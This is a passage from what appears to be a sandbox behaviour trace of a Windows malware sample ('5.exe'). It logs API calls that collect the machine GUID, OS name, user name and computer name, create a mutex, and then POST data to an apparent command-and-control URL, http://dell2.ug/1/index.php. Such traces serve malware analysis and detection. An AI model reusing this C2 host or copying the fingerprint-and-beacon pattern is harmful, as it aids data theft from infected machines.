[3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x18a754 | out: IsMember=0x18a754) returned 1 [0056.939] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18a75d, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18a758 | out: pSid=0x18a758*=0x4f34508*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0056.939] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x4f34508*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x18a754 | out: IsMember=0x18a754) returned 1 [0056.939] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18a75a, nSubAuthorityCount=0x1, nSubAuthority0=0x12, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18a74c | out: pSid=0x18a74c*=0x4f34508*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0056.964] LookupAccountSidA (in: lpSystemName=0x0, Sid=0x4f34508*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x0, cchName=0x18a754, ReferencedDomainName=0x0, cchReferencedDomainName=0x18a750, peUse=0x18a748 | out: Name=0x0, cchName=0x18a754, ReferencedDomainName=0x0, cchReferencedDomainName=0x18a750, peUse=0x18a748) returned 0 [0057.095] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x4f34508*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), IsMember=0x18a744 | out: IsMember=0x18a744) returned 1 [0057.095] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x18a6dc | out: phkResult=0x18a6dc*=0xe0) returned 0x0 [0057.095] RegQueryValueExW (in: hKey=0xe0, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x18a6e4, lpData=0x18a4dc, lpcbData=0x18a6e0*=0xfe | out: lpType=0x18a6e4*=0x1, lpData="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpcbData=0x18a6e0*=0x4a) returned 0x0 [0057.095] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cchWideChar=36, lpMultiByteStr=0x189708, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f @ó\x04p\x97\x18", lpUsedDefaultChar=0x0) returned 36 [0057.095] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x18a6f0 | out: phkResult=0x18a6f0*=0xdc) returned 0x0 [0057.096] RegQueryValueExW (in: hKey=0xdc, lpValueName="ProductName", lpReserved=0x0, lpType=0x18a6f8, lpData=0x18a4f0, lpcbData=0x18a6f4*=0xfe | out: lpType=0x18a6f8*=0x1, lpData="Windows 7 Professional", lpcbData=0x18a6f4*=0x2e) returned 0x0 [0057.096] RegCloseKey (hKey=0x80000002) returned 0x0 [0057.096] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Windows 7 Professional", cchWideChar=22, lpMultiByteStr=0x189708, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows 7 Professional8-7d9ec416e53f @ó\x04p\x97\x18", lpUsedDefaultChar=0x0) returned 22 [0057.096] GetUserNameW (in: lpBuffer=0x18a514, pcbBuffer=0x18a510 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18a510) returned 1 [0057.097] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5NrGJn0jS HALPmcxz", cchWideChar=20, lpMultiByteStr=0x189708, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5NrGJn0jS HALPmcxzal8-7d9ec416e53f @ó\x04p\x97\x18", lpUsedDefaultChar=0x0) returned 20 [0057.097] GetComputerNameW (in: lpBuffer=0x18a514, nSize=0x18a510 | out: lpBuffer="XDUWTFONO", nSize=0x18a510) returned 1 [0057.098] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x189708, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONOjS HALPmcxzal8-7d9ec416e53f @ó\x04p\x97\x18", lpUsedDefaultChar=0x0) returned 9 [0057.098] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="A6CF1546B-343A2EC6-63D8DC88-FF4A8C5D-82A11F69") returned 0xe4 [0057.098] GetLastError () returned 0x0 [0057.098] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x18a6e0 | out: phkResult=0x18a6e0*=0xec) returned 0x0 [0057.098] RegQueryValueExW (in: hKey=0xec, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x18a6e8, lpData=0x18a4e0, lpcbData=0x18a6e4*=0xfe | out: lpType=0x18a6e8*=0x1, lpData="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpcbData=0x18a6e4*=0x4a) returned 0x0 [0057.098] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cchWideChar=36, lpMultiByteStr=0x18970c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0303d5b4-ffe9-470e-9dd8-7d9ec416e53fp\x97\x18", lpUsedDefaultChar=0x0) returned 36 [0057.098] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x18a6f4 | out: phkResult=0x18a6f4*=0xf0) returned 0x0 [0057.098] RegQueryValueExW (in: hKey=0xf0, lpValueName="ProductName", lpReserved=0x0, lpType=0x18a6fc, lpData=0x18a4f4, lpcbData=0x18a6f8*=0xfe | out: lpType=0x18a6fc*=0x1, lpData="Windows 7 Professional", lpcbData=0x18a6f8*=0x2e) returned 0x0 [0057.098] RegCloseKey (hKey=0x80000002) returned 0x0 [0057.099] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Windows 7 Professional", cchWideChar=22, lpMultiByteStr=0x18970c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows 7 Professional8-7d9ec416e53fp\x97\x18", lpUsedDefaultChar=0x0) returned 22 [0057.099] GetUserNameW (in: lpBuffer=0x18a518, pcbBuffer=0x18a514 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18a514) returned 1 [0057.099] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5NrGJn0jS HALPmcxz", cchWideChar=20, lpMultiByteStr=0x18970c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5NrGJn0jS HALPmcxzal8-7d9ec416e53fp\x97\x18", lpUsedDefaultChar=0x0) returned 20 [0057.099] GetComputerNameW (in: lpBuffer=0x18a518, nSize=0x18a514 | out: lpBuffer="XDUWTFONO", nSize=0x18a514) returned 1 [0057.099] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x18970c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONOjS HALPmcxzal8-7d9ec416e53fp\x97\x18", lpUsedDefaultChar=0x0) returned 9 [0057.101] GetModuleHandleA (lpModuleName="wininet.dll") returned 0x0 [0057.101] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x753d0000 [0057.105] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0057.105] GetProcAddress (hModule=0x753d0000, lpProcName="InternetConnectA") returned 0x753f49e9 [0057.105] GetProcAddress (hModule=0x753d0000, lpProcName="HttpOpenRequestA") returned 0x753f4c7d [0057.105] GetProcAddress (hModule=0x753d0000, lpProcName="HttpAddRequestHeadersA") returned 0x753edcd2 [0057.106] GetProcAddress (hModule=0x753d0000, lpProcName="HttpSendRequestA") returned 0x754618f8 [0057.106] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0057.106] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0057.106] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCrackUrlA") returned 0x753dd075 [0057.106] GetProcAddress (hModule=0x753d0000, lpProcName="InternetSetOptionA") returned 0x753e75e8 [0057.106] InternetCrackUrlA (in: lpszUrl="http://dell2.ug/1/index.php", dwUrlLength=0x1b, dwFlags=0x90000000, lpUrlComponents=0x1898ac | out: lpUrlComponents=0x1898ac) returned 1 [0057.215] InternetOpenA (lpszAgent="Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0057.215] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x6, lpBuffer=0x18a718, dwBufferLength=0x4) returned 1 [0057.215] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x5, lpBuffer=0x18a718, dwBufferLength=0x4) returned 1 [0057.215] InternetConnectA (hInternet=0xcc0004, lpszServerName="dell2.ug", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0057.216] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/1/index.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x84003300, dwContext=0x0) returned 0xcc000c [0057.217] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders="", dwHeadersLength=0x0, lpOptional=0x6b004b8*, dwOptionalLength=0x67) returned 1 [0058.629] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x179848, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18a730 | out: lpBuffer=0x179848*, lpdwNumberOfBytesRead=0x18a730*=0x4) returned 1 [0058.629] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x179848, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18a730 | out: lpBuffer=0x179848*, lpdwNumberOfBytesRead=0x18a730*=0x0) returned 1 [0058.629] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0058.629] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0058.629] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0058.629] VirtualFree (lpAddress=0x6b00000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0058.630] VirtualFree (lpAddress=0x6b00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.630] LocalFree (hMem=0x4f36028) returned 0x0 [0058.630] LocalFree (hMem=0x4f37028) returned 0x0 [0058.630] ExitProcess (uExitCode=0x0) [0058.634] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 61 os_tid = 0xb28 Thread: id = 63 os_tid = 0xb30 Thread: id = 64 os_tid = 0xb34 Thread: id = 66 os_tid = 0xb3c Thread: id = 68 os_tid = 0xb44 Thread: id = 69 os_tid = 0xb48 Thread: id = 71 os_tid = 0xb50 Process: id = "10" image_name = "5.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\5.exe" page_root = "0x3c38d000" os_pid = "0xaf0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xa68" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\5.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 54 os_tid = 0xaf4 [0055.232] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0x8edd8120, dwHighDateTime=0x1d56c59)) [0055.232] GetCurrentProcessId () returned 0xaf0 [0055.232] GetCurrentThreadId () returned 0xaf4 [0055.232] GetTickCount () returned 0x11471e6 [0055.232] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17552441223) returned 1 [0055.272] GetStartupInfoW (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\5.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x18ff84, hStdError=0x433961)) [0055.272] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0055.273] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x270000 [0055.274] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0055.274] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0055.274] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0055.274] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0055.274] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0055.275] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x214) returned 0x2707d0 [0055.275] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0055.275] GetCurrentThreadId () returned 0xaf4 [0055.275] GetStartupInfoW (in: lpStartupInfo=0x18febc | out: lpStartupInfo=0x18febc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\5.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x42d407, hStdOutput=0x42d7ba, hStdError=0x2707d0)) [0055.275] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x800) returned 0x2709f0 [0055.275] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0055.275] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0055.275] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0055.275] SetHandleCount (uNumber=0x20) returned 0x20 [0055.275] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\5.exe\" " [0055.275] GetEnvironmentStringsW () returned 0x611f00* [0055.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0055.276] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x565) returned 0x2711f8 [0055.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x2711f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0055.276] FreeEnvironmentStringsW (penv=0x611f00) returned 1 [0055.276] GetLastError () returned 0x5 [0055.276] SetLastError (dwErrCode=0x5) [0055.276] GetLastError () returned 0x5 [0055.276] SetLastError (dwErrCode=0x5) [0055.276] GetLastError () returned 0x5 [0055.276] SetLastError (dwErrCode=0x5) [0055.276] GetACP () returned 0x4e4 [0055.276] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x220) returned 0x271768 [0055.276] GetLastError () returned 0x5 [0055.276] SetLastError (dwErrCode=0x5) [0055.276] IsValidCodePage (CodePage=0x4e4) returned 1 [0055.276] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0055.276] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0055.276] GetLastError () returned 0x5 [0055.276] SetLastError (dwErrCode=0x5) [0055.276] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0055.276] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0055.276] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0055.276] GetLastError () returned 0x5 [0055.276] SetLastError (dwErrCode=0x5) [0055.276] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0055.276] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䍸鼓뺺CĀ") returned 256 [0055.276] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䍸鼓뺺CĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0055.276] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䍸鼓뺺CĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0055.277] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿp\x9d0\x98\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0055.277] GetLastError () returned 0x5 [0055.277] SetLastError (dwErrCode=0x5) [0055.277] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0055.277] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䍸鼓뺺CĀ") returned 256 [0055.277] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 